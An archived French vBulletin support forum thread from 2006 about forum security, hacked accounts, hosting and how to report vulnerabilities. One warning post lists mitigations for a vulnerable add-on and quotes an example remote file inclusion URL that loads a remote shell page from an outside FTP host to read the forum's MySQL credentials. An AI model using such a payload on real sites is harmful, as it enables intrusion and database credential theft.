PDA

Voir la version complète : sécurité de Vbulletin

umm.amina
28/04/2006, 14h44
bonjour

je suis sur un forum gratuit pour le moment, et on nous à pirater le forum en rentrant dans nos comptes avec nos mots de passe (nous ignorons comme ceux ci se sont débrouillés pour les avoir ) quoi qu'il en soit, nous cherchons un forum à la sécurité FIABLE


qu'en est il de votre forum

merci
Paulo
28/04/2006, 16h54
Vbulletin est le forum le plus sécurisé. Dès qu'une faille est constatée, le support VB met à diposition un patch pour combler la faille dans les heures qui suivent.
Bien sûr, tout ce qui est ajouté, hack, portail, album photo etc ... doivent être de très bonne qualité pour éviter des failles. Mais le forum en lui même est certain.
Je n'ai jamais vu un forum VB seul qui a été hacké par contre les phpbb j'en vois tous les jours ;)
umm.amina
28/04/2006, 17h13
ah !

c'est une bonne chose car on a subit 2 attaques depuis le début de l'année, ces personnes veulent prendre nos comptes pour supprimer notre forum

j'ai encore des questions svp

* si notre forum comporte plus de 2000 membres et deja 100 000 messages, ca veut dire c'est un gros forum, avez vous un hébergeur à nous conseiller, car j'ai deja un nom de domaine chez OVH puis j'héberge mon site chez koodom (hebergeur gratuit)

=> celui ci irait il ? http://www.profbh.net/index.php?affiche=commande_allo_500

* Y a t'il le mode POST CONTROL chez vbulletin

* J'ai un peu de mal avec les mises à jour, et j'ai cru comprendre que Vbulletin à la location était plus simple pour les mises à jours ?



merci bcp de votre aide
If else
29/04/2006, 15h30
Vbulletin est le forum le plus sécurisé. Dès qu'une faille est constatée, le support VB met à diposition un patch pour combler la faille dans les heures qui suivent.
Bien sûr, tout ce qui est ajouté, hack, portail, album photo etc ... doivent être de très bonne qualité pour éviter des failles. Mais le forum en lui même est certain.
Je n'ai jamais vu un forum VB seul qui a été hacké par contre les phpbb j'en vois tous les jours ;)

salut je m'interpose sur ce que tu dis , j'ai envoyé un mp a un administrator d'ici vers un lien pointant sur une faille vb 3.5.4 ca fait plus d'une semaine de cela et je n'ai toujours pas vu de correctif sortis a ce jour.

dommage ce silence..
Mushu
29/04/2006, 15h32
il faut ouvrir un ticket pas sur vbulletin-fr... mais sur vbulletin.com
nous servons juste d intermediaire...

Envoi moi la dite faille, si tu l'a envoyer à l'admin absent, tu iras pas loin ...
Paulo
29/04/2006, 15h38
Si vous constatez des failles, prévenez immédiatement par un ticket le forum officiel http://members.vbulletin.com/membersupport_contactform.php et ça sera très vite traité croyez moi ;)
esf
29/04/2006, 18h57
Inutile d'avoir un forum sécurisé si le serveur qui l'héberge ne l'est pas.
Pitchoune
29/04/2006, 21h11
L'administrateur le plus présent est moi-même. If else, je te prie de me contacter le plus rapidement possible pour expliquer exactement la faille que tu as détectée.
umm.amina
30/04/2006, 16h18
bonjour,

exc moi mais la mon post à completement dévié et je n'ai pas eu de réponse alors ca serait gentil de poster peut etre cette question ailleurs pour que mon post puisse continuer ..

merci de vos réponses futures
esf
05/05/2006, 05h14
Aux licensiés de vb 3.0.x et 3.5.x qui utilise ce hack: http://www.vbulletin.org/forum/showthread.php?t=66084&page=5
(le hack a été adapté à 3.5.x).

1. Ne pas autoriser via le php le groupe Non inscrit
2. Ne pas désactiver le remote integration (activé par défaut)
3. Ou carrément supprimer le fichier concerné.

Possibilité de hacking avec un truc du genre: /forum/html.php?file=ftp://jeanhack:45310133@ftp.usuarios.lycos.es/pshell.htm

Ca fait quoi? ca va chercher ls config MySQL de votre forum (user, pass, dbname, etc).

Si vous l'utilisez, je vous suggère de vous créer un autre dbusername et dbpassword.
.
.
Pitchoune
08/05/2006, 06h30
salut je m'interpose sur ce que tu dis , j'ai envoyé un mp a un administrator d'ici vers un lien pointant sur une faille vb 3.5.4 ca fait plus d'une semaine de cela et je n'ai toujours pas vu de correctif sortis a ce jour.

dommage ce silence..
Pour ce que tu as trouvé, il y a rien de grave :)

Hi,

This is not a security hole, it relies on a link stealing the cookies. Though if you read all of the W3 specification and test with common browsers you wont see this "exploit".

Cookies that are set only exist on the domain they orginiate from.